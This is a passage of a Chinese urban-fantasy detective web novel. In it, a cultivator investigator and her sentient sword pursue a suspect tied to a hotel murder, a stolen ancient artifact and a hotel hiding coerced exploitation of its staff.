“确实有点微妙啊,老板不在,我们自然要去会会这个何诏。”赵慵用手当做扇子扇了会儿风,“两年,愁山说那白骨的死亡时间也是两年。”
“看那泥土的模样,也不像是打活桩啊。”
天气热,二人节省体力没再说话,各自走着,不一会儿就看到马路对面那耀眼的几个大字——蝴蝶小区。
此时日头快坠落,天边已浮薄红。
走上6栋小区2层,李俟菩摸了摸楼道干净的大理石砖,转头问赵慵:“今夜我住哪儿?”
“宿舍,一人寝。”赵慵边说边敲了敲201的门,“我们都住宿舍,我大概是住在你隔壁的,有什么问题可以来找我。”
李俟菩会意,看向窗外对面的楼,等了好半晌,无人开门。
赵慵又叩门几下,那门才缓缓开出一条道来。
“谁?”里面传出一个青年的嗓音。
“931办案,请您配合调查。”
那青年听后,闷笑一声,“哦,那请进吧。”
门被彻底拉开,入眼的是一位相貌堂堂的眼镜男人,他扫了一眼赵慵,看见李俟菩时脸上闪过一丝惊讶。
“昨天晚上你在哪儿?”赵慵照例行事,不说废话。
“昨天谈了个大单,在华东餐馆。”何诏满不在乎的递给这两人鞋套。
赵慵接过套上鞋子,“有无证人?”
“昨儿谁不知道强茂集团风头正盛的秦少爷结婚,所有吃酒的人都是我的证人啊。”
李俟菩也跟着套了鞋套,环视了一圈较为华贵的屋子,最后将视线落在何诏的那双手上。
“你似乎对我们的来到一点都不感到惊讶?”赵慵淡去温和的面庞。
何诏阴恻恻地笑了笑,“你说这个啊,我刚刚接到电话,才知道那贱男人死了。”
“死得好啊死得妙!我都有点后悔昨晚喝多了没看着他的死相!怎么样,是不是特别惨?你们谁给我形容一下。”
何诏高兴得那张脸都随着嘴角扭曲,双手更是鼓着掌要起舞,斯文的气质眨眼不见。
“你好像很恨胡靳,为
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什么?”
“呵,胡谙那死丫头肯定跟你们说,我是为了职位威胁胡靳逼她辞职吧?”何诏冷笑,没有回答赵慵的问题,“甚至大言不惭地说我杀了胡靳?”
“区区一个总经理的位置不值得我杀人,其实你们也知道,杀掉胡靳的肯定不是我,对吧?”
李俟菩转动眸珠,这个男人似乎知道得不少。
“胡靳玩火自焚跟我有什么关系,成天搞那些神啊鬼啊的,不死才怪!”何诏大笑。
“他姐姐说,他最怕鬼,你是怎么知道他暗地里弄这些东西?”
“那女人蠢得要命,估计把她卖了都要跟着数钱,你们信她?”何诏笑得更癫狂了。
他在偏暗处,像是活生生索命的恶鬼。
赵慵也跟着笑起来,“何诏,你管理的酒店出了人命,我很好奇,你怎么向你们老板交代?”
见答非所问,也没必要在这里耗着了,说完便离开何诏家,李俟菩最后又看了眼何诏白净的手。
赵慵只问了两句就走了,李俟菩有些不理解这个世界的操作。
“这么可疑,为什么不带回去?”李俟菩还是问出了声。
“没证据,回去之后我会让人去查当天晚上何诏的行踪。”赵慵走出小区门。
李俟菩扑闪着眼若有所思,片刻,甩出惊天大雷,“如果我说,何诏和锁魂阵有关系,极有可能,他就是当年布下阵法的人。”
赵慵听闻大吃一惊,回头道:“你说什么?!”
“无凭无据的,又是你猜的?”
她知道面前这个柔弱的女孩儿才能兼备,没想到每次说出的话都能刷新一次她的认知。
“他的手。”李俟菩举起自己的手。
“如此笃定?”赵慵问。
“阵修之人,通常会扎破手指,以血为阵,可若修为浅薄,布阵之时会遭到反噬,反噬的毒素会找个切入口疯狂袭击,而布阵之人的手指便是最好的靶子。”
“指尖中毒便会发黑,没有及时控制的话,就会永久的留在上面。”
想起之前阵修的师弟手指毒素快要蔓延整个掌心时,是医修的师姐及时止损才保住性命。
这何诏的指尖才一点黑,看来是控制了但没完全消掉。
“此话可当真?”赵慵叹口气,“唉,如今我们局里精修阵法的老师几乎没有,对于这些东西我们也无从知晓,要不是……”
又是话没完,李俟菩总觉得这个组织在之前一定经历过什么大事,遭到重创。不过既然不说,她也不会上赶着去问。
赵慵道:“那这件事,何诏绝对脱不了干系——”
不远处的广场一到夕阳西下便人群攒动,好像发生了不得了的事。
热闹洗脑的音乐声一下子充斥在二人的耳边。
李俟菩不是个凑热闹的人,但不知为何现在就是想要去看看,那边的什么正吸引着她。
赵慵看出她的想法,以为这位隐居深山的神仙从没见过广场舞,便领着她去放松放松。
不料热闹没看,惊悚却先看上了。
只见一小孩儿哭闹着,围在边上动来动去的长条物体拦着他不让走,家属在旁边跺着脚干着急。
这是什么情况?
赵慵疑惑住了,“神棍?”
只见那长条物体在余晖下散发着光辉,璀璨夺目。
李俟菩一瞧,顿时黑下脸,“是剑。”
那上窜下跳地像喝了假酒的东西哪是什么神棍,分明是她家那把蠢得冒金星的应庐。
6. 功德+6
天很快就暗了下来,广场上的闹剧闹了好十几分钟。
“哎呦我的天哪,这是什么玩意儿?”
“现在科技都这么发达了吗?远程无线操控?”
“咳咳咳,欢迎大家来到我的直播间,接下来请看前方现场……”
人群里的喧闹此起彼伏,李俟菩默默扶额,说到底,这把剑还是自己的,丢脸的尴尬也是让她体会到了。
赵慵心思细腻,脱口而出:“这把剑,你的?”
李俟菩还没张口说话,那把现眼的剑仿佛找到了目标,围着那小孩儿转了好几圈后,朝这边飞奔而来。
结果没刹住车,剑柄磕到了李俟菩的脑袋,李俟菩无缘无故挨这蠢剑的一击,心里的小火气蹭蹭往上涨。
赵慵噗嗤一声,打趣道:“小宝藏,你可真是让我刮目相看了,挖到了你,还附赠一把神器呢。”
应庐也不知是不是真喝了假酒,自知撞到人了连忙飞向一旁,对着李俟菩僵硬地鞠了三个躬,把礼节诠释得明明白白。
然后怔了一会儿,跌跌撞撞地往另一边飞去了。
李俟菩摸摸脑袋,应庐居然没认出她?
而且应庐也没告诉她,修有意识的法器可以随意脱离主人的控制啊!
磕着的一瞬间,她竟察觉到了应庐灵力的滞留!
这是怎么一回事?
赵慵好像也发现了些许问题:“你这把神器,怎么有点不太对劲。”
李俟菩终于开口:“先行一步。”
她管都没管赵慵,一溜烟就朝着应庐的方向没了踪影,好似脚下踩了风火轮,徒留赵慵在原地看着李俟菩的背影笑容深邃。
群众们一脸茫然,全都摸不着头脑。
只有那直播的人道:“哇塞,真是太帅了!宝宝们记得给我点个赞加个关注哦!”
李俟菩的体力非人可比,就算没有法力,也能追着跑好几条路,汗水随着额头淌下,心里的不妙预感十分强烈。
月色柔和,拉开夜的序幕。
应庐的气息最终停在一座大别墅中,李俟菩喘了口气,环顾了一下四周。
心里盘算着这蠢剑是不是出了什么事儿,不然怎会停在这怨气逼人的阴宅里。
她望着那漆黑的别墅洞口,目光沉沉,抬脚就要踏入。
“小姑娘,你就是我请来的试睡员吧?”不知从哪儿窜出来一个满头白发的老人。
李俟菩偏眸看他,眼前这位佝偻身躯的老者,担忧的脸上满是褶子。
老人见她不说话,又道:“姑娘,这里荒废了好多年,我请你们公司来帮忙,就想趁早把这别墅卖出去。”
“你明天可一定得安全的出来,证明这里面没那东西啊。”
李俟菩知道那东西指的是什么,但这老人显然是认错了人。
这里地处西郊的别墅区,除却远处几座别墅里有着隐隐微光,一片漆黑。
老人看到李俟菩的工作牌,恭敬道:“姑娘,我就不多说了,零幺公司的人我放心。”
“我不是。”
这老人合着还是专门请的自家公司,李俟菩可不想抢走某人的任务。
可老人在确认身份后,就杵着拐杖慢慢地开始往回走了,李俟菩在背后叫了好几声他也没听见。
不过她也懒得再争辩,找应庐最要紧。
晦暗一片,李俟菩踏着月光走进,细小灰尘跟着起伏,她能感受到应庐的气息在别墅二楼更强。
别墅客厅的家具全都用白布盖上,从外吹来的风撩起白布的一角,仿若什么东西正在玩着捉迷藏。
没走两步,身后一阵凉风吹来,李俟菩回头一望,一只倒悬人头离她鼻尖不过毫厘。
视线蓦地受到冲击,李俟菩眉心一跳,出手便拉拳,那人头却躲得极快,瞬息间没了踪影。
空气中阴森一笑,让人毛骨悚立,接着大门紧紧关上,发出就像是有人在挠墙的刺耳声。
尖细的笑声擦着李俟菩的耳廓,李俟菩环顾别墅一楼,神色幽冷。
角落里,不知这女诡说了什么,眼前猛地冒出一只血手探她脖颈,李俟菩一脚撤退,腾空闪避。
女诡又发出怪谲的笑声,撤身在楼梯中慢慢显出孩童半截无腿身形。
她穿着小白裙,几乎与客厅里的白布融为一体,完整的人脸散发着腥烂的鱼臭味,无辜的大眼睛水灵灵地望着她。
俨然一副八九岁的模样,这诡物的道行虽浅,李俟菩却一时找不到命眼在何处。
僵持了一会儿,这女孩儿居然也没有来攻击的打算,可李俟菩没空陪她做游戏。
应庐的不稳灵气越散越多,在整间屋子里扩散延伸,她不经皱眉。
就在李俟菩要动真格时,大门复又推开。
砰——
那坚硬无比的门差点儿被推散架。
一个女人自带光效的完美出场。
“那边的那个诡嘿!快出来!别让我等太久,我后半夜还有事儿呢。”
这女人一副嚣张跋扈的样子,脸上戴着墨镜,手里还拿着一个锤子,拽得跟个二五八万似的。
李俟菩险些以为自己看花了眼,“覃诩水?”
“哎?”覃诩水听见有人叫自己名字,刮拉一下墨镜,“怎么这么耳熟?”
还没等她看到人,眼前便陡然一亮,什么东西掉落在地上的声音。
——李俟菩直接上手拍掉了她的墨镜。
“李俟菩?你你你……”覃诩水眼睛瞪得像铜铃。
“我我我——我怎么了?”也许是受了她们的影响,李俟菩竟也学会了逗人。
女诡看着又一个人莫名其妙地闯入自己领地,斥喝一声,朝覃诩水那边涌动。
还没近身,覃诩水就举起那个锤子,闪身一敲那诡物的脑袋,闷响在客厅里回荡,那诡物的眼睛顿时清澈不少。
“一敲五福临门,嘿呦!”覃诩水还有闲心和李俟菩唠嗑,“我的好姐姐,你怎么来这儿了?”
“难道是老大觉得不放心,派你来做个监察官?”
李俟菩这下搞明白了,原来自己是顶了覃诩水的任务。
不过来得正好。
“找东西。”李俟菩看这诡被牵制住,连忙向二楼奔去。
诡物窥见那处,蚯蚓般扭动着半截身子,张开血口就向李俟菩的手臂咬去。
却又被一锤子敲得牙齿都要掉光光。
“二敲暴富暴贵!”
一息千里的速度,诡物捂着牙齿抬头,视野里覃诩水玩味的笑格外分明。
“小妹妹,姐姐陪你玩捉迷藏,怎么样?”
*
李俟菩双脚跑得飞快,一上二楼,稀薄的灵气就越来越浓,她直接推开灵力
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最浓的一间客房门。
寒气劈头盖脸地迎来。
李俟菩走进,映入眼帘的是化成人形的应庐正蜷缩在地上,微微颤抖。
“应庐!”李俟菩的心脏也开始作痛,本命剑羁绊相连,她看着应庐,手不自觉地捂上心口。
“你怎么了?能听见我说话吗?”
应庐的眉睫泛起冰霜,嘴唇发紫,闭着眼睛仿佛在承受极大的痛苦。
李俟菩自持心淡如水,看到应庐如此,不知道应庐到底发生了何事,手上也毫无灵力不能探脉,只能干着急。
“应庐?”
可能是气息瓜葛相连,应庐在李俟菩的呼唤下微微睁眼,涣散地看着蹲下的她。
李俟菩见应庐还有反应,总算放下心来,手搭在应庐的头上,拍了拍。
“发生了何事?”
应庐蹭了蹭她的手,挪动着身子向她那边靠近。
“土……中碧。”
“途中笔?”李俟菩不知从哪儿好像听过这笔的牌子。
不禁失笑,果真孩子心性,“现在是买笔的时候吗?你灵力尽散,先告诉我,怎么帮你?”
应庐被说得一愣,委屈地摇摇头,把怀里护着的东西塞到李俟菩怀里。
李俟菩被冰得一抖。
那东西被应庐护得好好的,形状长得像个棒槌,却浑身金光,尖头处还微微发着紫晕。
与应庐不一样的灵气充溢在周围,李俟菩一眼便断然这不是寻常之物。
不过她发现,这东西离开了应庐,他那眉眼处的冰霜竟稍微褪了一些,连屋子属于应庐的灵力都汇聚了一些。
这法器与应庐对冲!
李俟菩连忙拿远了一点,“应庐,告诉我,为什么拿它?”
应庐一定知道这东西的危害,却还要拿给她,有何深意?
“恨血千年……土中碧。”
闻言,李俟菩呼吸一窒。
脑海里倏然闪过无数画面,光怪陆离。
一会儿是与师姐师妹们在一起的修炼时光,一会儿是与谁争夺仙道排名榜第一的景象,脑中撕扯不断,剧痛难忍。
“阿俟!”应庐急忙呼喊。
画面如走马观花,最后定格在她躺在乱葬岗尸堆的黑夜,乌鸦盘桓。
一时间,李俟菩冷汗涔涔。
应庐着急地撑着身子为李俟菩输送灵力,内力一滞,嘴角涌出血沫,直直倒下。
李俟菩骤然回神,担忧的话到嘴边,窗边霎时闪过一个黑影。
她目光如炬,抓起柜台的玻璃杯就那边砸去。
那黑影却闪得飞快,耳边忽然一声猫叫,通体黝黑的猫不知何时出现在李俟菩的右手旁。
身形疾快,冒出尖牙欲咬其臂,李俟菩连忙躲过,那棒槌却惯性脱手。
那猫叼住那快落地的棒槌,跳窗而出。
应庐立即化符送入她手,支撑不住,化为红剑。
李俟菩接过催动符箓,投向那得逞的黑猫与人影。
黑猫闪躲不急,喵的一声受击倒地,人影勉强躲过却还是夺到了那棒槌,摇着轻功便跑。
李俟菩欲追,房门猝然被打开。
“怎么了怎么了?”覃诩水慌慌张张地跑上来。
她没回头,明月相照一瞬,李俟菩看清了那人影的眼睛。
“何诏。”
9. 功德+9
“秦云此?”覃诩水愕然,“她不是鬼界起义首领?这怎么……”
出乎意料的答案,让在场几人不禁咋舌,若隐若现像摸到了事情关键线索的边缘,又像没有,原先串起来的线索似拼图,似乎还有一大块未明。
“如果说那具白骨、诡物就是秦云此,那胡靳与她到底有何瓜葛?”宁松帷犹豫不决地开口。
赵慵也是沉吟许久,这位秦云此已经一跃成为了案子的首要人物。
若搞不清楚诡物的生前恩怨,那这些罗网交织的条理又如何能理清呢?
“两年前身亡,一年前发动起义,前日灰飞烟灭,她身上的谜题可真是多啊。”
“尚未明确秦云此就是那诡物,先听听胡谙和何诏的事。”李俟菩凑近那地上无力动弹的身影。
蹲下身仔细分辨了一下胡谙的眉眼,和胡靳的五官一点儿都不像,却是神奇的肖像。
胡谙像是被什么东西抽去了魂魄,她瘫软在地上,眼底的情绪交错复杂。
“能方便告诉我,何诏到底和你说了什么吗?”李俟菩头次说话这般轻柔。
胡谙魂不守舍,半晌,抬头看了看周围的几个警察,又看了眼赵慵她们,张口道:“让她们走。”
李俟菩神色自若,这就是想单独谈话的意思了,还是和她。
虽不知胡谙为何出此言,但李俟菩还是答应了她的要求。
她点头,给赵慵递了个放心的眼神,可刚刚经历过惊慌的赵慵哪里会听她的话,只是疏散了警察,悄悄给了李俟菩一个手机,一步三回头的和覃诩水宁松帷退到没有几步远的一旁。
李俟菩翻过来一看,是个正在通话的手机。
她不懂这些设备,把它放至一侧。
胡谙估计没看到,或者也有可能根本是没有心力去管这些杂七杂八的事儿,眼睛一直盯着地面,不知道站在想什么。
好半天,她举着手仰头,从指间缝隙里投进来的阳光打至她的右脸。
“今天的阳光真好啊。”她神情无悲无喜,琉璃般的眼珠装着蔚蓝色天空。
今天的天气确实是好,片片薄云翻滚,远处还有雨后天晴的绚烂彩虹。
李俟菩没出声,拍拍衣裳,坐了下来,等待下文。
“就像我刚刚入职的时候那样好,那时候我才刚刚毕业,满心以为自己找了个好工作,又有胡靳的保证,一切就像在好的时机喝对了酒一样畅快。”
“那时候穷,累,十分地辛苦,但我热爱工作,自己的一天也过得十分充实,年轻,往死里干活儿,都不觉得丝毫不开心。”
“我还记得刚工作的时候,酒店非常气派,我很开心,我觉得自己一生的运气都花对了地方。”
胡谙的声线很平淡,浑身都透着死气,仿佛在诉说一件无关痛痒的事情。
“酒店工作与胡靳有关?”李俟菩提取到了关键信息。
“是啊,我的好弟弟以前很懂事的,从小为了顾着我,就去外面打工,他聪明,虽然不爱说话,但人很机灵很勤快,所以经常会赚外快,能赚一半的生活费。”
“赚了生活费呢,就来我怀里撒娇,承诺以后一定会让我过上好日子,会好好读书,努力挣钱,然后把钱一笔笔汇入了我的账上。”
谈起这些往事,胡谙有些哽咽,红了眼眶。
悲痛化为眼底的雾,酸涩的语气充当经年的雨。
李俟菩听不懂一些专有名词,但能感受到这位身位阿姊的丧弟之痛,就算她说他弟弟害了她。
“直到有一天,他结识了一个好朋友,探听到了打工的消息,说爱熏酒店刚开业,正招员工,老板有钱,薪资不愁,福利待遇非常好,要他去试试。”
“可酒店不招未成年,那时候胡靳只差两月就满十八了,他怕错失良机,于是就举荐了我。”
“我当时就觉着,积累一些工作经验也好,钱嘛,谁不想多赚一点?”
李俟菩深感赞同后半句话,离开了钱的确生活困难。
“所以,他的好朋友是谁?”
胡谙沉默了好一会儿,沙哑着声音道:“秦云此。”
李俟菩踌躇,心间绕着的一些谜题快要随之解开,“你确定?”
胡谙秀眉一弯,“虽然已经过了两年,但那时候经常听胡靳念叨,这个名字记忆犹新,当时我还笑他,这么喜欢,怎么不拐来当女朋友?”
“他如何说的?”
“他说,‘姐姐,人家那么好的姑娘,又有个好工作,我怎么配得上?’”
她轻蔑一笑,眼睛里浮现层层嫌恶,“是啊,确实是个好工作,如此龙潭虎穴,偏偏叫我给闯了,忍了这么多年,忍了这么多年……”
那嫌恶后边还有深深的惶惶不安,她表情转化极快,昙花一现。
“你可知,秦云此当时就是爱熏酒店员工?”李俟菩将她神色尽收眼底。
“知道,只是我入职时,他们说她早已辞职了,当时想来还觉得可惜,没有见着这位好弟弟心心念念的朋友,现在只觉得,走了好,走了真好啊。”
胡谙的眼睛从头到尾都没有看过李俟菩,只是静静地望着远方,就像一尊石像般,无心无肺。
风起,微微掀起胡谙的衣角,李俟菩随意一瞥,刹那,眼里掠过惊愕。
随即眉头皱得极深,“你?”
只见那纤细的腰上全是斑斑点点的紫痕,红紫交错,还有几块充血的青块,在洁白的皮肤上极为瘆人。
这是经常受虐和被反复殴打留下来的痕迹。
胡谙凄楚一笑,语调婉转,“有些客人,特殊癖好多一点。”
李俟菩大为震撼,眨眼就想到酒店里那暧昧的氛围装潢,紫色的灯光就如胡谙身上的恶行,将罪恶直晃晃地公之于众。
这个酒店,居然大隐隐于市地经营着这样一条产业链!
从前在山下历练,李俟菩也遇到过这样的事,虽然她们管不了,她也不知这里的人们是如何评判这条极恶不赦的孽障,她只知道,报官可以勉强捣毁这样一个恶贯满盈的据地。
所以,“为什么,不报警?”
胡谙终于将目光放在李俟菩身上,没有回答这个问题。
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“我以前是怨过秦云此的,十分的怨恨,每日每夜的怨恨,我没有将这些告诉胡靳,他还在读书,他解决不了我的事情。”
“每一个深夜,我都在想,一个素不相识的女人把我拉入了深渊,自己却安心自得不知道在哪里逍遥,世上怎么会有这样恶心的人……”
胡谙越说越激动,就像要把恨意全部发泄出来。
“她死了。”李俟菩打断她的话,“在你入职的前一天。”
胡谙一愣,随即苦笑:“是胡靳。”
李俟菩看她如此确定,“何诏跟你说的?”
“何诏,我本不信他。他却告诉我,胡靳一早就知道爱熏酒店的脏事儿,老板承诺他替酒店拉多少人,胡靳就有多少拉人费……何诏有账单,我不得不信。”
“看见清晰明了的账目,我不敢相信胡靳到底从中获利了多少。”
“我是他的第一笔收益。”
胡谙闭上眼睛,眼泪成串滴落。
如此隐情,如此悲哀的真相。
李俟菩伸手,在胡谙的肩头停顿几秒,缓缓拍了拍。
“……何诏说,他受胡靳威胁,是因为他看到了胡靳杀人,我当时问他胡靳杀了谁,他却急着要走,没再多逗留。”
“原来……就是秦云此啊。”
胡谙将手搭在李俟菩胳膊上,眼睛里的乞求分外清楚,她吸了吸鼻子。
“警官,我自小就没了父母,拉扯胡靳长大花费了我整个青春,而我如今一身又全都是他造成的……”
“我没有活下去的理由。”
“你有。”
李俟菩没有抽开胡谙的手,她不会安慰人,也从没安慰过人,嘴巴有些笨,说不出什么好听的话出来。
“为自己而活,也算理由。”
胡谙脊背一僵,眼里倒映着的李俟菩逆着光,光圈将她发丝染成神性的金色。
良久,她扯开嘴笑了,就像猛然跳出圈外,幡然醒悟。
李俟菩也微微笑着,觉得事情已经了然,招呼了另一边的赵慵。
赵慵点点头,挂断了手机通话,和边上人说:“去胡谙家里把账本拿过来,看看是否属实,还有……”
“赵队,酒店老板回来了。”下面的人传信道。
呵,还挺会掐时机,直接送上门来。
“去传到局里,我亲自审。”
赵慵看着走过来的李俟菩,欣慰地一笑,示意跟她回去。
“姐姐,安慰人还挺有一手嘛。”覃诩水挤眉弄眼。
李俟菩没理,看着将被扶下去的胡谙,心里还有个问题没问出口。
如果有机会,她想问问,单独谈话为什么选了她?
不过也已经不重要了。
“事情都已明了,该去见见这个一直没露面的老板了。”宁松帷盘算着,“总感觉何诏在案子里起的作用还挺神秘。”
“何诏现在准是已经跑路了。”李俟菩说道。
赵慵从容不迫,安排道:“扩大搜索范围,不论多远,一定都要把何诏给我抓回来!”
11. 功德+11
“不会的,不可能的……”杨岐喃喃道。
赵慵看了一眼他,觉得此事已经快接近尾声了,转身走出审讯室,其他人见状把他押了下去。
外头的光线与审讯室呈泾渭分明之势,李俟菩一出来都觉得光线刺眼了起来。
“差不多了,我已经通知其他组,注意何诏的动向,他跑不了多远的。”赵慵接过覃诩水递来的可乐,一股奇怪的浓香旋绕在李俟菩的鼻尖。
“这是什么?”李俟菩看着赵慵手上那瓶黑乎乎的液体。
“嗯?好神仙,不会可乐你都没喝过吧?”覃诩水看她一副见着毒药的表情,有些好笑。
“可乐?”
不得不说,医修师姐制的中药与这东西黑得不相上下。
李俟菩露出一副难以言说的神情,觉得这世界的人有点奇怪,怎么能喝中药都喝得这么美味。
赵慵见她没有说话,还以为她是自尊心作祟,毕竟这位是真的可能从哪个山上出世了的神仙。
“小菩,如果以后你想吃什么喝什么,都跟我说,我来安排,不用这么委婉表达。”
赵慵怜惜地拍了拍李俟菩的背,“辛苦你了。”
李俟菩:?
搞得她一脸莫名其妙,覃诩水见了,也不知道发什么神经,眼睛里的怜悯快要溢出来,仿若她是从哪个山嘎嘎里出来的乞丐。
覃诩水道:“是我说话不周了,好姐姐见谅啊,别桑心。”
李俟菩的视线在这两人来回,“有病?”
“嗯?你是在骂我们吗?”
她说得很平淡,语气没有任何的抑扬顿挫,连覃诩水都没反应过来她说了句什么。
“啊啊啊啊!偶像,你怎么这样啊,我是在心疼你啊,……”
惊天动地的哭喊惹得李俟菩糟心,赵慵也被吵得挠了挠耳朵。
“怎么就没个飞来横祸把你砸死呢——”
李俟菩话音刚落的那一刹那,覃诩水哭叫的声音蓦地一顿,接着是一声砸在脑门的闷响。
“哎呦喂!”
她去看,一个似令牌样式的东西从覃诩水后脑勺落下,覃诩水吃痛得呜咽,蹲在地上不再出声了。
李俟菩一惊,还以为是局里有细作偷袭,戒备心陡生。
哪想赵慵悠哉悠哉地捡起地上的令牌,一敲覃诩水的头,道:“还吵不吵了?松帷都被你吵得烦。”
“这是?”李俟菩望了一眼那令牌。
“宁松帷造的法器。”赵慵转手把牌子给了她,“传消息的。”
令牌整体轻盈剔透,薄薄一片像是树叶,上面没有什么花样标志,只写了几个大字。
——褚家大院。
“什么意思?”
赵慵笑了笑,“考虑到你是刚来的新人,缺个历练机会,所以今晚的任务,就你去吧。”
任务?哦,她想起来了,昨晚的凶宅任务是覃诩水,今天应该本是轮下来的某某,只是她一次任务都还没做,所以就顺势给了她。
李俟菩点点头,描摹着这块令牌。
“这法器挺好,通信便捷。”
“松帷造的一些东西确实让我们方便许多。”赵慵笑得有些自豪。
“天赋异禀。”李俟菩毫不掩饰地夸赞道。
蹲在地上的覃诩水摸了摸后脑勺,然后起身,怪异地飞奔出去了。
李俟菩:……
螃蟹一样的跑步姿势,这是被什么东西附身了?
“去找松帷理论去了,别管她。”赵慵道,“对了,今天放你半天假,待会儿让松帷给你地址,提前去了提前回来。”
还挺好的,给半天假期,李俟菩心满意足。
累了一天的她,选择回宿舍好好歇着,晚上还有场仗要打,她得好好恢复心力。
哪想刚推门,就见着一个人正坐在椅子上,背对着她不知道在捣鼓什么。
“应庐?”
那人一听到名字,眼睛一亮,连忙转头看她,小狗耳朵藏也藏不住。
“回来了?”应庐甜甜开口。
李俟菩关好门,走过去看了一眼应庐,“伤好没?”
应庐乖乖张开双手给她看,“好了好了,我这么厉害,怎么可能会被小喽啰打倒?”
灵力充沛,看样子是好了。
她往下一瞥,见着应庐的手上正一手拿着细针,一手拿着自己的那套细锦长袍衣袖。
“你这是?”
“嘿嘿,没事儿,马上就缝好了。”
应庐炫耀一般晃了晃脑袋,将针穿过衣缝,就像把自己的心缝进了这套她扔在一旁的衣服里。
“你还会针线活儿?以前怎么不见你……”李俟菩脱口而出,又马上停住,意识到说了什么的她显然有些吃惊于自己熟稔的口吻。
应庐嘴角落寞下撇,继续显摆道:“虽然我只是一把剑,我会的可多了呢,可别小瞧我!”
李俟菩无意识地嘴角翘起,“还没问你,那天到底怎么回事?”
说起这个,应庐把针放下,端端正正坐好,一副严肃的姿态道:“说来话长,你听我慢慢说,本命剑意识相连,那天你一进那个酒店,我就感受到了很强烈的灵力。”
“你当时不是在分析那个蚕蛹人嘛,肯定没时间理我,我就自己跑去找源头。”
“走到三楼时,我看到了一个人鬼鬼祟祟的,肯定没安好心,我就跟上去看,我当时根本没往法器这方面想,只觉得这酒店地盘是片灵地。”
“哪里知道是定了根镇诡神针!”
“镇诡神针?”
名字有些耳熟,好像听谁提起过。
“对啊,土中碧是上古神器,曾以一力断诡生路数万年,我也不知道它为何会出现在这里,对了,它还有两个好姐妹。”
“一个灯泡,一个铃铛。”
李俟菩不动声色地打断他的话,“你怎么知道这么多?”
应庐张了张口,转移话题道:“我这么聪明,什么东西不知道?要不你猜猜,那个人是谁?”
察觉到应庐的隐瞒,李俟菩眸色一暗,却没有再问。
“何诏?”
“哎呀我的阿俟真是聪明,他明明是个凡人却可疑得很,土中碧当然不能落入这人的手里,于是我去抢,何诏自然是打不过我,但哪想那土中碧居然散我灵力!”
“我当时意识就有些不清楚了,但我一直
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没放手,后来不知道发生了什么,一睁眼就看到你在我眼前。”
“天神降临!”
应庐抬起双手,描绘得如痴如醉。
“还有,我的意识一直跟了你几天,后来实在是因为受伤,就一直呆在这件屋子里,没再明白何诏的后续。”
“但是我跟你说,何诏绝对是这件事的主谋!”
他说得慷慨激昂,十分有把握。
“哪件事?”
“桩桩件件都是他做的!他的目的就是想拿土中碧。”
“没证据,不能妄下定夺。”李俟菩摇摇头。
应庐见她不信,继续道:“我能感受到他身上有诡气,很微弱的那种,不是他沾了脏东西,而是因为他就是脏东西!”
李俟菩讶然,“你确定你自己没感受错?”
“千真万确!”
又一条线索,如果真是应庐说得那么回事,那整件事情,何诏才是主谋?胡靳只是一颗棋子?
难道……
这时,突然一声敲门声斩断了她的思路。
“谁?”
“是我李小姐,我想来问问,关于法器的一些事情。”
是宁松帷的声音。
应庐小狗耳朵一竖,四处张望几下,发现无处躲藏,干脆变成一把剑,重重落在椅子上。
李俟菩思虑片刻,伸手开了门。
宁松帷莞尔,“打扰了李小姐,之前诩水跟我说,李小姐有一把很漂亮的剑,我可以看看吗?”
她眼里闪着对法器痴迷的光芒,李俟菩没有理由拒绝,侧开身子让她进门。
“听赵队说,她给你放了半天假,晚上去出任务是吧?”
“嗯。”
宁松帷从兜里掏出一个小指环,放在桌子上,“这是我研发的暗器,可以在暗中定位诡物的踪迹,很实用的东西。”
她说得真诚,还怕李俟菩不肯收,又补了一句,“组里的人基本都有,收着吧。”
银色指环落脚在阳光的折射点,李俟菩微笑道:“多谢。”
宁松帷一进门就被靠椅上嫣红的长剑吸住了目光,手蠢蠢欲动,却没有随意去碰。
“这是你造出来的?”
“不是,算是……家里长辈给我的。”
“那李小姐应该也对此道研究颇深吧,以后我们多交流交流?”
宁松帷像是遇到了同道中人的狂喜,眼里是喷薄出的全是对法器验造方面的入迷。
“好,宁小姐对这些是极爱啊。”李俟菩对一些有目标向往的人有着天然的欣赏。
“是的,我从小受我老师影响,对这些很是喜爱,我钻研法器十几年,它们早就成为了我生活中的一部分。”
天才的偏爱。
李俟菩看到宁松帷谈论这些的神情,格外珍宝。
就连她看向剑时,都带着爱屋及乌的爱惜。
“所以,宁小姐也是和我一样,机缘巧合被招进931的吗?”李俟菩忽然就想询问关于931队员的事情。
而宁松帷也坦然道:“我算是最早进入调查组的老人了,比赵队她们都还早,是我老师引进来的。”
“老师?”
12. 功德+12
李俟菩还以为是寻常的师长,暗想一个授业恩师还有这本事?
不过下一秒宁松帷就解答了她的困惑。
“也就是我们931调查组的师父,对了,几天以后,她还说要见见你呢。”
“是你们整个组的教习师父?”
“对,每个组的成员在入职前都是经过严格训练的,很少有像你这样破格招进来的人,师父就是我们之前的教练。”宁松帷小手指了指李俟菩,打诨道。
说白了,原来调查组就跟她们门派一样,拜个师尊修炼好了就自己下山历练,等自己修为高了,又再收自己的徒弟。
这机制都差不多,不过是换了一套性质而已。
至于这个师父说要见她,估计也就是好奇,想见见她这种破格招进来的稀有人,毕竟师长还是要把把关。
李俟菩表示自己明白了。
“好了,天色不早了,实在是不好意思打扰你休息,法器也看了,那我先走了,晚上你多加小心。”宁松帷扬起笑脸。
“哦对,褚家大院就在西郊,昨天诩水出任务的那一块,离得挺近的。”
李俟菩轻声应答,送宁松帷到门口,目送她离开。
此时斜阳半照。
“嘿哟,这小指环挺有意思的啊,又小又精美。”
背后灵笑嘻嘻道,手一搭一搭地拨弄着指环。
“这就,有朋友了?”
指环敲打在玻璃桌的清脆声回荡在屋子里。
“朋友?”李俟菩没有转身,细细琢磨这个词。
送个礼物,交谈甚欢,就是朋友了?
她前半生除了修炼,生活里几乎都是师尊的教导与下山的历练,从来没有朋友这个概念。
“好事儿啊,我看她们挺关心你的,只是看你有点不近人情,搞得人家话不好说,有点拘谨。”
“你还挺了解?”李俟菩回头看应庐把那指环抛着高高玩弄,“弄坏了你赔给人家。”
“这般珍视?”应庐笑了,“你等会儿要去干什么,褚家大院是哪里?”
“工作,工作地点。”
“能不能带上我?”应庐一脸期待。
“不能。”李俟菩无情回绝。
于是意料之中地得到了应庐的一哭二闹三上吊。
“为什么为什么?你知道我憋在这里有多无聊吗?”
他只差没在地上打滚。
“我不管我不管,我是因为气血有亏才不能和你本命相连,你就可怜可怜我是个病患,带我出去玩儿嘛!”
“虽然我也能自己出去玩儿,但离不了你太远。”
